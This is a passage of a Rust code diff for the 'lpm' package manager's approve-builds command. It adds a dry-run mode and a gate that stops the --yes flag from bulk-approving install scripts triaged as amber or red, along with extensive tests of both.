lookup must refuse silently- @@ -1074,13 +1546,21 @@ async fn run_global_named( row.integrity.clone(), row.script_hash.clone(), ); - lpm_global::trusted_deps::write_for(root, &trust)?; + // Phase 46 close-out Chunk 3: the only mutation site on this + // path. Under `--dry-run`, skip the write and label the output + // accordingly; the row match + candidate identification remain + // fully exercised so preview surfaces identical feedback to a + // live approval aside from the write itself. + if !dry_run { + lpm_global::trusted_deps::write_for(root, &trust)?; + } if json_output { let body = serde_json::json!({ "schema_version": SCHEMA_VERSION, "command": "approve-builds", "scope": "global", + "dry_run": dry_run, "approved_count": 1, "skipped_count": 0, "blocked_count": aggregate.rows.len(), @@ -1094,6 +1574,12 @@ async fn run_global_named( "errors": [], }); println!("{}", serde_json::to_string_pretty(&body).unwrap()); + } else if dry_run { + output::info(&format!( + "DRY RUN — would approve {} @ {} globally. No changes written.", + row.name.bold(), + row.version.dimmed() + )); } else { output::success(&format!( "Approved {} @ {} globally.", @@ -1239,6 +1725,7 @@ async fn run_global_interactive( root: &lpm_common::LpmRoot, aggregate: &crate::global_blocked_set::AggregateBlockedSet, group: bool, + dry_run: bool, _json_output: bool, ) -> Result<(), LpmError> { use crate::prompt::prompt_err; @@ -1291,7 +1778,9 @@ async fn run_global_interactive( approved.push(*row); decided.insert(AggregateRowKey::from_row(row)); } - lpm_global::trusted_deps::write_for(root, &trust)?; + if !dry_run { + lpm_global::trusted_deps::write_for(root, &trust)?; + } } "skip_all" => { for row in &rows { @@ -1326,7 +1815,9 @@ async fn run_global_interactive( ); approved.push(row); decided.insert(key); - lpm_global::trusted_deps::write_for(root, &trust)?; + if !dry_run { + lpm_global::trusted_deps::write_for(root, &trust)?; + } } "skip" => { skipped.push(row); @@ -1352,12 +1843,21 @@ async fn run_global_interactive( } println!(); - output::success(&format!( - "{} approved, {} skipped, {} remaining.", - approved.len(), - skipped.len(), - aggregate.rows.len() - approved.len() - skipped.len(), - )); + if dry_run { + output::info(&format!( + "DRY RUN — would approve {}, skip {}, leave {} remaining. No changes written.", + approved.len(), + skipped.len(), + aggregate.rows.len() - approved.len() - skipped.len(), + )); + } else { + output::success(&format!( + "{} approved, {} skipped, {} remaining.", + approved.len(), + skipped.len(), + aggregate.rows.len() - approved.len() - skipped.len(), + )); + } return Ok(()); } @@ -1381,8 +1881,12 @@ async fn run_global_interactive( ); approved.push(row); // Write after each approval so Ctrl+C mid-walk doesn't - // lose previously-approved rows. - lpm_global::trusted_deps::write_for(root, &trust)?; + // lose previously-approved rows. Under `--dry-run` the + // per-row flush skips; the user's decisions still + // populate `approved` / `skipped` for the summary. + if !dry_run { + lpm_global::trusted_deps::write_for(root, &trust)?; + } } "skip" => skipped.push(row), "quit" => break, @@ -1390,12 +1894,21 @@ async fn run_global_interactive( } } println!(); - output::success(&format!( - "{} approved, {} skipped, {} remaining.", - approved.len(), - skipped.len(), - aggregate.rows.len() - approved.len() - skipped.len(), - )); + if dry_run { + output::info(&format!( + "DRY RUN — would approve {}, skip {}, leave {} remaining. No changes written.", + approved.len(), + skipped.len(), + aggregate.rows.len() - approved.len() - skipped.len(), + )); + } else { + output::success(&format!( + "{} approved, {} skipped, {} remaining.", + approved.len(), + skipped.len(), + aggregate.rows.len() - approved.len() - skipped.len(), + )); + } Ok(()) } @@ -1445,9 +1958,29 @@ mod tests { script_hash: Some(format!("sha256-{name}-hash")), phases_present: vec!["postinstall".to_string()], binding_drift: false, + // Phase 46 fields default to None for these approve-builds + // tests; dedicated tier-aware tests land in P2+. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, } } + /// Phase 46 P2 Chunk 4 helper: `make_blocked` + explicit tier. + /// Used by the `--yes` refusal tests below to construct state + /// that would be produced by a fresh P2 install pipeline. + fn make_blocked_tiered( + name: &str, + version: &str, + tier: lpm_security::triage::StaticTier, + ) -> BlockedPackage { + let mut b = make_blocked(name, version); + b.static_tier = Some(tier); + b + } + fn write_state(project_dir: &Path, blocked: Vec) { let state = BuildState { state_version: BUILD_STATE_VERSION, @@ -1472,7 +2005,9 @@ mod tests { let dir = tempdir().unwrap(); write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - let err = run(dir.path(), None, true, true, true).await.unwrap_err(); + let err = run(dir.path(), None, true, true, false, true) + .await + .unwrap_err(); let msg = err.to_string(); assert!(msg.contains("--list") && msg.contains("--yes")); } @@ -1482,7 +2017,7 @@ mod tests { let dir = tempdir().unwrap(); write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - let err = run(dir.path(), Some("esbuild"), false, true, true) + let err = run(dir.path(), Some("esbuild"), false, true, false, true) .await .unwrap_err(); assert!(err.to_string().contains("--list")); @@ -1493,7 +2028,9 @@ mod tests { let dir = tempdir().unwrap(); write_default_manifest(dir.path()); // No state file written - let err = run(dir.path(), None, false, true, true).await.unwrap_err(); + let err = run(dir.path(), None, false, true, false, true) + .await + .unwrap_err(); let msg = err.to_string(); assert!(msg.contains("lpm install")); } @@ -1502,7 +2039,9 @@ mod tests { async fn approve_builds_with_no_package_json_errors() { let dir = tempdir().unwrap(); // No package.json - let err = run(dir.path(), None, false, true, true).await.unwrap_err(); + let err = run(dir.path(), None, false, true, false, true) + .await + .unwrap_err(); let msg = err.to_string(); assert!(msg.contains("package.json")); } @@ -1513,7 +2052,7 @@ mod tests { write_default_manifest(dir.path()); write_state(dir.path(), vec![]); // --list mode with empty blocked set should succeed - let result = run(dir.path(), None, false, true, true).await; + let result = run(dir.path(), None, false, true, false, true).await; assert!(result.is_ok()); } @@ -1525,7 +2064,9 @@ mod tests { write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); let before = fs::read_to_string(dir.path().join("package.json")).unwrap(); - run(dir.path(), None, false, true, true).await.unwrap(); + run(dir.path(), None, false, true, false, true) + .await + .unwrap(); let after = fs::read_to_string(dir.path().join("package.json")).unwrap(); assert_eq!(before, after, "--list must NOT mutate package.json"); } @@ -1544,7 +2085,9 @@ mod tests { ], ); - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); let td = &after["lpm"]["trustedDependencies"]; @@ -1568,7 +2111,9 @@ mod tests { // Capturing stdout in nextest is tricky; instead just verify the // command succeeds and the manifest mutation lands. The warning // emission via tracing::warn is exercised by the integration path. - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); assert!(after["lpm"]["trustedDependencies"]["esbuild@0.25.1"].is_object()); } @@ -1588,7 +2133,9 @@ mod tests { ); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); let td = &after["lpm"]["trustedDependencies"]; @@ -1615,7 +2162,9 @@ mod tests { ); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); assert_eq!(after["name"], "test"); @@ -1643,7 +2192,7 @@ mod tests { ); // json_output=true so the confirm prompt is bypassed (auto-approve) - run(dir.path(), Some("esbuild"), false, false, true) + run(dir.path(), Some("esbuild"), false, false, false, true) .await .unwrap(); @@ -1667,9 +2216,16 @@ mod tests { write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - run(dir.path(), Some("esbuild@0.25.1"), false, false, true) - .await - .unwrap(); + run( + dir.path(), + Some("esbuild@0.25.1"), + false, + false, + false, + true, + ) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); assert!(after["lpm"]["trustedDependencies"]["esbuild@0.25.1"].is_object()); @@ -1681,7 +2237,7 @@ mod tests { write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - let err = run(dir.path(), Some("not-installed"), false, false, true) + let err = run(dir.path(), Some("not-installed"), false, false, false, true) .await .unwrap_err(); assert!(err.to_string().contains("not in the blocked set")); @@ -1714,7 +2270,9 @@ mod tests { let dir = tempdir().unwrap(); write_default_manifest(dir.path()); write_state(dir.path(), vec![make_blocked("esbuild", "0.25.1")]); - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); // After a successful run, the parent directory should NOT contain // any leftover `.tmp` artifacts. @@ -1736,6 +2294,268 @@ mod tests { const _: () = assert!(SCHEMA_VERSION >= 1); } + #[test] + fn schema_version_bumped_for_static_tier() { + // Phase 46 P2 Chunk 3: bumped to 2 when `static_tier` was + // added to the blocked-entry JSON shape. If this test fails + // because the version dropped, either a revert or a second + // migration is needed — don't just bump the assertion. + const _: () = assert!(SCHEMA_VERSION >= 2); + } + + #[test] + fn schema_version_bumped_for_version_diff() { + // Phase 46 P7 Chunk 4: bumped to 3 when `version_diff` was + // added to the blocked-entry JSON shape. If this test fails + // because the version dropped, either a revert or a second + // migration is needed — don't just bump the assertion. + const _: () = assert!(SCHEMA_VERSION >= 3); + } + + // ── Phase 46 P2 Chunk 3 — blocked_to_json + tier labels ───────── + + #[test] + fn blocked_to_json_emits_static_tier_green() { + use lpm_security::triage::StaticTier; + let mut b = make_blocked("esbuild", "0.25.1"); + b.static_tier = Some(StaticTier::Green); + let v = blocked_to_json(&b, &TrustedDependencies::default()); + assert_eq!(v["static_tier"], serde_json::json!("green")); + } + + #[test] + fn blocked_to_json_emits_static_tier_amber() { + use lpm_security::triage::StaticTier; + let mut b = make_blocked("playwright", "1.48.0"); + b.static_tier = Some(StaticTier::Amber); + let v = blocked_to_json(&b, &TrustedDependencies::default()); + assert_eq!(v["static_tier"], serde_json::json!("amber")); + } + + #[test] + fn blocked_to_json_emits_static_tier_amber_llm() { + use lpm_security::triage::StaticTier; + let mut b = make_blocked("custom-tool", "1.0.0"); + b.static_tier = Some(StaticTier::AmberLlm); + let v = blocked_to_json(&b, &TrustedDependencies::default()); + // Kebab-case wire contract (crate::triage's serde form). + assert_eq!(v["static_tier"], serde_json::json!("amber-llm")); + } + + #[test] + fn blocked_to_json_emits_static_tier_red() { + use lpm_security::triage::StaticTier; + let mut b = make_blocked("malware", "0.0.1"); + b.static_tier = Some(StaticTier::Red); + let v = blocked_to_json(&b, &TrustedDependencies::default()); + assert_eq!(v["static_tier"], serde_json::json!("red")); + } + + #[test] + fn blocked_to_json_emits_null_when_tier_absent() { + // Pre-P2 persisted state leaves `static_tier` as None; the + // field MUST appear as `null` (not be omitted) so agents can + // distinguish "no tier known" from "field missing". + let b = make_blocked("pre-p2", "1.0.0"); + assert!(b.static_tier.is_none()); + let v = blocked_to_json(&b, &TrustedDependencies::default()); + assert_eq!(v["static_tier"], serde_json::Value::Null); + // And the key is present in the object (not omitted). + assert!( + v.as_object().unwrap().contains_key("static_tier"), + "static_tier key must be present in the JSON object even \ + when the value is null — agents rely on presence to \ + distinguish null-value from schema-missing", + ); + } + + #[test] + fn tier_label_text_distinct_per_variant() { + use lpm_security::triage::StaticTier; + let labels = [ + tier_label_text(StaticTier::Green), + tier_label_text(StaticTier::Amber), + tier_label_text(StaticTier::AmberLlm), + tier_label_text(StaticTier::Red), + ]; + let mut seen = std::collections::HashSet::new(); + for lbl in labels { + assert!( + seen.insert(lbl), + "tier labels must be distinct; duplicate: {lbl}" + ); + } + } + + #[test] + fn tier_label_text_green_starts_with_green() { + use lpm_security::triage::StaticTier; + // Pin the user-facing text: green labels must start with + // "green" so the terminal user sees a recognizable word + // before any symbol or parenthetical. + assert!(tier_label_text(StaticTier::Green).starts_with("green")); + assert!(tier_label_text(StaticTier::Amber).starts_with("amber")); + assert!(tier_label_text(StaticTier::AmberLlm).starts_with("amber")); + assert!(tier_label_text(StaticTier::Red).starts_with("red")); + } + + #[test] + fn colored_tier_label_embeds_plain_text() { + use lpm_security::triage::StaticTier; + // The colored form must contain the plain text somewhere + // (after stripping ANSI codes would be ideal, but substring + // is enough since none of the plain-text forms collide with + // ANSI escape sequence bytes). + for tier in [ + StaticTier::Green, + StaticTier::Amber, + StaticTier::AmberLlm, + StaticTier::Red, + ] { + let plain = tier_label_text(tier); + let colored = colored_tier_label(tier); + assert!( + colored.contains(plain), + "colored label for {tier:?} must contain the plain-text \ + form; plain={plain:?} colored={colored:?}" + ); + } + } + + // ── Phase 46 P2 Chunk 4 — enforce_tiered_yes_gate ─────────────── + // + // Pure tests for the refusal helper. End-to-end `--yes` tests + // live in the `run()` suite below (same test file, later + // section). + + #[test] + fn yes_gate_empty_blocked_set_is_ok() { + // Edge case: --yes against an empty effective blocked set + // is a no-op today (approves nothing). The gate must not + // refuse in this case. + let blocked: Vec = Vec::new(); + assert!(enforce_tiered_yes_gate(&blocked).is_ok()); + } + + #[test] + fn yes_gate_allows_all_green() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + make_blocked_tiered("pkg-a", "1.0.0", StaticTier::Green), + make_blocked_tiered("pkg-b", "2.0.0", StaticTier::Green), + ]; + assert!( + enforce_tiered_yes_gate(&blocked).is_ok(), + "an all-green effective set must pass the --yes gate" + ); + } + + #[test] + fn yes_gate_allows_none_tiered_legacy_state() { + // Pre-P2 persisted state carries static_tier = None. The + // gate must pass `None` through to preserve existing --yes + // muscle memory during a P1 → P2 upgrade; the next install + // will recapture the state with real tiers. + let blocked = vec![make_blocked("esbuild", "0.25.1")]; + assert!(blocked[0].static_tier.is_none()); + assert!( + enforce_tiered_yes_gate(&blocked).is_ok(), + "None static_tier (pre-P2 legacy state) must pass through \ + the --yes gate" + ); + } + + #[test] + fn yes_gate_allows_mixed_green_and_none() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + make_blocked_tiered("fresh-green", "1.0.0", StaticTier::Green), + make_blocked("legacy", "1.0.0"), + ]; + assert!(enforce_tiered_yes_gate(&blocked).is_ok()); + } + + #[test] + fn yes_gate_refuses_single_amber() { + use lpm_security::triage::StaticTier; + let blocked = vec![make_blocked_tiered( + "playwright", + "1.48.0", + StaticTier::Amber, + )]; + let err = enforce_tiered_yes_gate(&blocked).expect_err("amber must refuse"); + let msg = err.to_string(); + assert!(msg.contains("--yes refuses"), "got: {msg}"); + assert!(msg.contains("playwright@1.48.0"), "got: {msg}"); + } + + #[test] + fn yes_gate_refuses_single_amber_llm() { + use lpm_security::triage::StaticTier; + let blocked = vec![make_blocked_tiered( + "mystery", + "3.0.0", + StaticTier::AmberLlm, + )]; + let err = enforce_tiered_yes_gate(&blocked).expect_err("amber-llm must refuse"); + assert!(err.to_string().contains("--yes refuses")); + } + + #[test] + fn yes_gate_refuses_single_red() { + use lpm_security::triage::StaticTier; + let blocked = vec![make_blocked_tiered("evil-pkg", "0.0.1", StaticTier::Red)]; + let err = enforce_tiered_yes_gate(&blocked).expect_err("red must refuse"); + assert!(err.to_string().contains("--yes refuses")); + } + + #[test] + fn yes_gate_refuses_mix_and_lists_only_refusals() { + use lpm_security::triage::StaticTier; + let blocked = vec![ + make_blocked_tiered("safe-a", "1.0.0", StaticTier::Green), + make_blocked_tiered("risky-a", "1.0.0", StaticTier::Amber), + make_blocked("legacy", "2.0.0"), + make_blocked_tiered("risky-b", "3.0.0", StaticTier::Red), + ]; + let err = enforce_tiered_yes_gate(&blocked).expect_err("mix must refuse"); + let msg = err.to_string(); + + // Refusals listed. + assert!(msg.contains("risky-a@1.0.0"), "got: {msg}"); + assert!(msg.contains("risky-b@3.0.0"), "got: {msg}"); + // Count accurate (2 refusals, not 4). + assert!( + msg.contains("2 package(s)"), + "count must reflect only refusals, not the whole set; got: {msg}" + ); + // Green and None entries NOT listed as refusals. + assert!( + !msg.contains("safe-a@1.0.0"), + "green must not be listed: {msg}" + ); + assert!( + !msg.contains("legacy@2.0.0"), + "None-tier must not be listed: {msg}" + ); + } + + #[test] + fn yes_gate_error_message_redirects_to_interactive_path() { + // The error must tell the user HOW to proceed; otherwise the + // refusal is just a dead-end. + use lpm_security::triage::StaticTier; + let blocked = vec![make_blocked_tiered("x", "1.0.0", StaticTier::Amber)]; + let msg = enforce_tiered_yes_gate(&blocked) + .expect_err("amber must refuse") + .to_string(); + assert!( + msg.contains("lpm approve-builds") + && (msg.contains("interactive") || msg.contains("") || msg.contains("--list")), + "error must redirect to the interactive / single-pkg / list path; got: {msg}" + ); + } + // ── Phase 32 Phase 4 M6: end-to-end state-machine tests ───────── // // These exercise the full install → block → review → approve → build @@ -1794,7 +2614,7 @@ mod tests { store_root.path(), "esbuild", "0.25.1", - &serde_json::json!({"postinstall": "node install.js"}), + &serde_json::json!({"postinstall": "tsc"}), ); let installed: Vec<(String, String, Option)> = vec![( @@ -1815,7 +2635,9 @@ mod tests { assert_eq!(cap1.state.blocked_packages.len(), 1); // (2) Approve via --yes - run(project.path(), None, true, false, true).await.unwrap(); + run(project.path(), None, true, false, false, true) + .await + .unwrap(); let manifest = read_manifest(&project.path().join("package.json")); assert!( manifest["lpm"]["trustedDependencies"]["esbuild@0.25.1"].is_object(), @@ -1862,7 +2684,7 @@ mod tests { store_root.path(), "esbuild", "0.25.1", - &serde_json::json!({"postinstall": "node install.js"}), + &serde_json::json!({"postinstall": "tsc"}), ); let installed: Vec<(String, String, Option)> = vec![( @@ -1881,7 +2703,7 @@ mod tests { assert!(cap1.should_emit_warning); // Approve esbuild specifically (json_output=true bypasses TTY confirm) - run(project.path(), Some("esbuild"), false, false, true) + run(project.path(), Some("esbuild"), false, false, false, true) .await .unwrap(); @@ -1908,7 +2730,7 @@ mod tests { store_root.path(), "esbuild", "0.25.1", - &serde_json::json!({"postinstall": "node install.js"}), + &serde_json::json!({"postinstall": "tsc"}), ); let installed: Vec<(String, String, Option)> = vec![( @@ -1924,7 +2746,9 @@ mod tests { &read_policy(project.path()), ) .unwrap(); - run(project.path(), None, true, false, true).await.unwrap(); + run(project.path(), None, true, false, false, true) + .await + .unwrap(); // Sanity: post-approval install is silent let cap_post_approve = capture_blocked_set_after_install( @@ -1987,7 +2811,7 @@ mod tests { store_root.path(), "esbuild", "0.25.1", - &serde_json::json!({"postinstall": "node install.js"}), + &serde_json::json!({"postinstall": "tsc"}), ); let cap = capture_blocked_set_after_install( @@ -2039,7 +2863,7 @@ mod tests { store_root.path(), "esbuild", "0.25.1", - &serde_json::json!({"postinstall": "node install.js"}), + &serde_json::json!({"postinstall": "tsc"}), ); let installed: Vec<(String, String, Option)> = vec![ @@ -2058,7 +2882,9 @@ mod tests { assert_eq!(cap.state.blocked_packages[0].name, "esbuild"); // Bulk approve - run(project.path(), None, true, false, true).await.unwrap(); + run(project.path(), None, true, false, false, true) + .await + .unwrap(); // Manifest is now Rich form with BOTH entries let manifest = read_manifest(&project.path().join("package.json")); @@ -2077,6 +2903,146 @@ mod tests { assert!(policy_after.can_run_scripts("sharp")); } + // ── Phase 46 P2 Chunk 4 — --yes refusal e2e via run() ────────── + + #[tokio::test] + async fn e2e_yes_refuses_when_any_entry_is_amber_and_manifest_stays_unchanged() { + // End-to-end confirmation that the refusal gate wires through + // to the `run()` entry point the CLI dispatches to. Amber + // package (playwright install — a D18 downloader) MUST NOT + // be approved by --yes. + let project = tempdir().unwrap(); + let store_root = tempdir().unwrap(); + let store = PackageStore::at(store_root.path().to_path_buf()); + write_default_manifest(project.path()); + fake_store_with_pkg( + store_root.path(), + "playwright", + "1.48.0", + &serde_json::json!({ "postinstall": "playwright install" }), + ); + + let installed: Vec<(String, String, Option)> = vec![( + "playwright".to_string(), + "1.48.0".to_string(), + Some("sha512-x".to_string()), + )]; + let cap = capture_blocked_set_after_install( + project.path(), + &store, + &installed, + &read_policy(project.path()), + ) + .unwrap(); + assert_eq!(cap.state.blocked_packages.len(), 1); + assert_eq!( + cap.state.blocked_packages[0].static_tier, + Some(lpm_security::triage::StaticTier::Amber), + "D18 `playwright install` must persist as Amber" + ); + + // Snapshot manifest before --yes so we can prove non-mutation. + let manifest_before = read_manifest(&project.path().join("package.json")); + + // --yes must refuse. + let err = run(project.path(), None, true, false, false, true) + .await + .expect_err("--yes against an amber blocked entry must error"); + let msg = err.to_string(); + assert!(msg.contains("--yes refuses"), "got: {msg}"); + assert!(msg.contains("playwright@1.48.0"), "got: {msg}"); + + // Manifest MUST be byte-identical to before — the gate sits + // before any write_back, so a refusal can't leak a partial + // approval. + let manifest_after = read_manifest(&project.path().join("package.json")); + assert_eq!( + manifest_before, manifest_after, + "manifest must be unchanged after a --yes refusal" + ); + // Specifically: trustedDependencies must not exist / be + // empty. Either form is acceptable — some projects don't + // have the key at all. + assert!( + manifest_after["lpm"]["trustedDependencies"] + .as_object() + .is_none() + || manifest_after["lpm"]["trustedDependencies"] + .as_object() + .unwrap() + .is_empty(), + "no trustedDependencies entry must be written on refusal" + ); + } + + #[tokio::test] + async fn e2e_yes_approves_all_green_and_does_not_refuse() { + // Inverse contract: an all-green blocked set passes the + // gate and --yes approves as before. + let project = tempdir().unwrap(); + let store_root = tempdir().unwrap(); + let store = PackageStore::at(store_root.path().to_path_buf()); + write_default_manifest(project.path()); + fake_store_with_pkg( + store_root.path(), + "typescript", + "5.0.0", + &serde_json::json!({ "postinstall": "tsc" }), + ); + + let installed: Vec<(String, String, Option)> = vec![( + "typescript".to_string(), + "5.0.0".to_string(), + Some("sha512-t".to_string()), + )]; + let cap = capture_blocked_set_after_install( + project.path(), + &store, + &installed, + &read_policy(project.path()), + ) + .unwrap(); + assert_eq!( + cap.state.blocked_packages[0].static_tier, + Some(lpm_security::triage::StaticTier::Green), + "tsc body must persist as Green", + ); + + run(project.path(), None, true, false, false, true) + .await + .expect("all-green --yes must succeed"); + + let manifest = read_manifest(&project.path().join("package.json")); + assert!( + manifest["lpm"]["trustedDependencies"]["typescript@5.0.0"].is_object(), + "green package must be approved after --yes" + ); + } + + #[tokio::test] + async fn e2e_yes_passes_through_when_static_tier_is_none_legacy_state() { + // Pre-P2 upgrade path: if the persisted BuildState predates + // P2 (static_tier = None on every entry), --yes must still + // work so upgrading LPM doesn't silently break existing + // agent/CI flows. The next fresh install will recapture + // tiers and from then on the gate applies. + let project = tempdir().unwrap(); + write_default_manifest(project.path()); + // Craft a state file manually with static_tier = None, + // bypassing the fresh capture path that would populate it. + write_state(project.path(), vec![make_blocked("legacy-pkg", "1.0.0")]); + + run(project.path(), None, true, false, false, true) + .await + .expect("--yes against None-tiered (legacy) state must succeed"); + + let manifest = read_manifest(&project.path().join("package.json")); + assert!( + manifest["lpm"]["trustedDependencies"]["legacy-pkg@1.0.0"].is_object(), + "legacy-state entry must be approved on --yes pass-through", + ); + } + #[tokio::test] async fn e2e_install_with_no_scriptable_packages_no_state_no_warning() { // Defensive: a project that installs only packages with no install @@ -2141,6 +3107,7 @@ mod tests { TrustedDependencyBinding { integrity: Some("sha512-esbuild-integrity".into()), script_hash: Some("sha256-esbuild-hash".into()), + ..Default::default() }, ); let trusted = TrustedDependencies::Rich(map); @@ -2190,6 +3157,7 @@ mod tests { TrustedDependencyBinding { integrity: Some("sha512-esbuild-integrity".into()), script_hash: Some("sha256-OLD".into()), + ..Default::default() }, ); let trusted = TrustedDependencies::Rich(map); @@ -2269,7 +3237,9 @@ mod tests { // --list mode should print "nothing to approve" because esbuild // is already strict-approved. Pre-fix this would have shown // esbuild as blocked. - run(dir.path(), None, false, true, true).await.unwrap(); + run(dir.path(), None, false, true, false, true) + .await + .unwrap(); // Sanity: the state file is unchanged (--list is read-only) let state = build_state::read_build_state(dir.path()).unwrap(); @@ -2307,7 +3277,9 @@ mod tests { ); // --yes should approve ONLY sharp (esbuild is already strict-trusted) - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); let map = after["lpm"]["trustedDependencies"] @@ -2349,7 +3321,7 @@ mod tests { // Asking to approve esbuild specifically should error with // "already approved", NOT silently re-write the entry. - let err = run(dir.path(), Some("esbuild"), false, false, true) + let err = run(dir.path(), Some("esbuild"), false, false, false, true) .await .unwrap_err(); let msg = err.to_string(); @@ -2392,7 +3364,9 @@ mod tests { }), ); - run(dir.path(), None, false, true, true).await.unwrap(); + run(dir.path(), None, false, true, false, true) + .await + .unwrap(); // The package.json must be byte-identical (no rewrite happened) let after = read_manifest(&dir.path().join("package.json")); @@ -2437,7 +3411,9 @@ mod tests { // --yes should re-approve esbuild with the NEW script_hash from // the state file because the binding drifted. - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); let binding = &after["lpm"]["trustedDependencies"]["esbuild@0.25.1"]; @@ -2471,7 +3447,9 @@ mod tests { // --yes --json — verify the manifest mutation lands AND the // structured warning is in the JSON warnings array. The full // stdout-purity test is at the CLI level (subprocess capture). - run(dir.path(), None, true, false, true).await.unwrap(); + run(dir.path(), None, true, false, false, true) + .await + .unwrap(); let after = read_manifest(&dir.path().join("package.json")); assert!(after["lpm"]["trustedDependencies"]["esbuild@0.25.1"].is_object()); @@ -2521,6 +3499,15 @@ mod tests { script_hash: row.script_hash, phases_present: row.phases_present, binding_drift: row.binding_drift, + // Phase 46 fields default to None when constructing + // from the `ApproveRow` test helper. The row type + // doesn't carry tier/provenance/etc. yet; when later + // phases need them, extend `ApproveRow` in lockstep. + static_tier: None, + provenance_at_capture: None, + published_at: None, + behavioral_tags_hash: None, + behavioral_tags: None, }) .collect(); @@ -2657,7 +3644,7 @@ mod tests { ], unreadable_origins: vec![], }; - let err = run_global_named(&root, &agg, "esbuild", true) + let err = run_global_named(&root, &agg, "esbuild", false, true) .await .unwrap_err(); let msg = err.to_string(); @@ -2678,9 +3665,14 @@ mod tests { #[test] fn print_global_list_handles_empty_aggregate_without_panicking() { let agg = AggregateBlockedSet::default(); - print_global_list(&agg, false, false).unwrap(); - print_global_list(&agg, true, false).unwrap(); - print_global_list(&agg, false, true).unwrap(); + // (group, dry_run, json_output) — exercise the four + // `(group × json)` shapes twice: once with dry_run=false, + // once with dry_run=true. Smoke test that neither signal + // panics the empty-aggregate branch. + print_global_list(&agg, false, false, false).unwrap(); + print_global_list(&agg, true, false, false).unwrap(); + print_global_list(&agg, false, false, true).unwrap(); + print_global_list(&agg, false, true, true).unwrap(); } /// `--yes` writes every aggregate row into the global trust file @@ -2698,7 +3690,7 @@ mod tests { unreadable_origins: vec![], }; // JSON mode so no interactive prompts and output goes to stdout. - run_global_bulk_yes(&root, &agg, true).await.unwrap(); + run_global_bulk_yes(&root, &agg, false, true).await.unwrap(); let trust = lpm_global::trusted_deps::read_for(&root).unwrap(); assert!(trust.trusted.contains_key("esbuild@0.25.1")); assert!(trust.trusted.contains_key("sharp@0.33.0")); @@ -2717,7 +3709,9 @@ mod tests { ], unreadable_origins: vec![], }; - run_global_named(&root, &agg, "sharp", true).await.unwrap(); + run_global_named(&root, &agg, "sharp", false, true) + .await + .unwrap(); let trust = lpm_global::trusted_deps::read_for(&root).unwrap(); assert!(trust.trusted.contains_key("sharp@0.33.0")); assert!(!trust.trusted.contains_key("esbuild@0.25.1")); @@ -2733,7 +3727,7 @@ mod tests { rows: vec![row("esbuild", "0.25.1", &["eslint"])], unreadable_origins: vec![], }; - let err = run_global_named(&root, &agg, "ghost", true) + let err = run_global_named(&root, &agg, "ghost", false, true) .await .unwrap_err(); let msg = err.to_string(); @@ -2747,7 +3741,9 @@ mod tests { async fn run_global_rejects_list_plus_yes() { let tmp = std::env::temp_dir(); let _env = scoped_lpm_home(&tmp); - let err = run_global(None, true, true, false, true).await.unwrap_err(); + let err = run_global(None, true, true, false, false, true) + .await + .unwrap_err(); assert!(err.to_string().contains("conflicts with `--yes`")); } @@ -2762,7 +3758,7 @@ mod tests { vec![row("esbuild", "0.25.1", &["eslint"])], ); let _env = scoped_lpm_home(tmp.path()); - let err = run_global(None, false, false, true, true) + let err = run_global(None, false, false, true, false, true) .await .unwrap_err(); let msg = err.to_string(); @@ -2776,4 +3772,43 @@ mod tests { fn group_auto_threshold_is_10() { assert_eq!(GROUP_AUTO_THRESHOLD, 10); } + + // ─── Phase 46 P7 Chunk 3 — interactive choice mapping ───────── + // + // The Select itself can't be unit-tested without driving cliclack + // (which expects a TTY); these tests pin the pure decision + // projection that the Select callback feeds into. The actual TUI + // wiring is exercised end-to-end by the C5 reference fixture. + + #[test] + fn p7_choice_decision_maps_approve_pair_to_true() { + assert_eq!(InteractiveChoice::Approve.decision(), Some(true)); + assert_eq!(InteractiveChoice::AcceptNew.decision(), Some(true)); + } + + #[test] + fn p7_choice_decision_maps_skip_pair_to_false() { + assert_eq!(InteractiveChoice::Skip.decision(), Some(false)); + assert_eq!(InteractiveChoice::KeepOld.decision(), Some(false)); + } + + #[test] + fn p7_choice_decision_returns_none_for_view_and_quit() { + assert_eq!(InteractiveChoice::View.decision(), None); + assert_eq!(InteractiveChoice::Quit.decision(), None); + } + + #[test] + fn p7_keepold_does_not_imply_approve() { + // Pin the signoff-B(i) contract: KeepOld is decline, not a + // resolver mutation. If a future refactor accidentally + // remaps KeepOld to true (e.g., trying to "remember" the old + // approval somehow writes a new binding), this test fails. + assert_eq!( + InteractiveChoice::KeepOld.decision(), + Some(false), + "KeepOld must collapse to decline (false), NEVER approve. \ + Per signoff B(i): no resolver pin, no manifest write." + ); + } } diff --git a/crates/lpm-cli/src/commands/build.rs b/crates/lpm-cli/src/commands/build.rs index c41b6518..150c0a80 100644 --- a/crates/lpm-cli/src/commands/build.rs +++ b/crates/lpm-cli/src/commands/build.rs @@ -30,13 +30,16 @@ //! - On Windows: `Child::kill()` 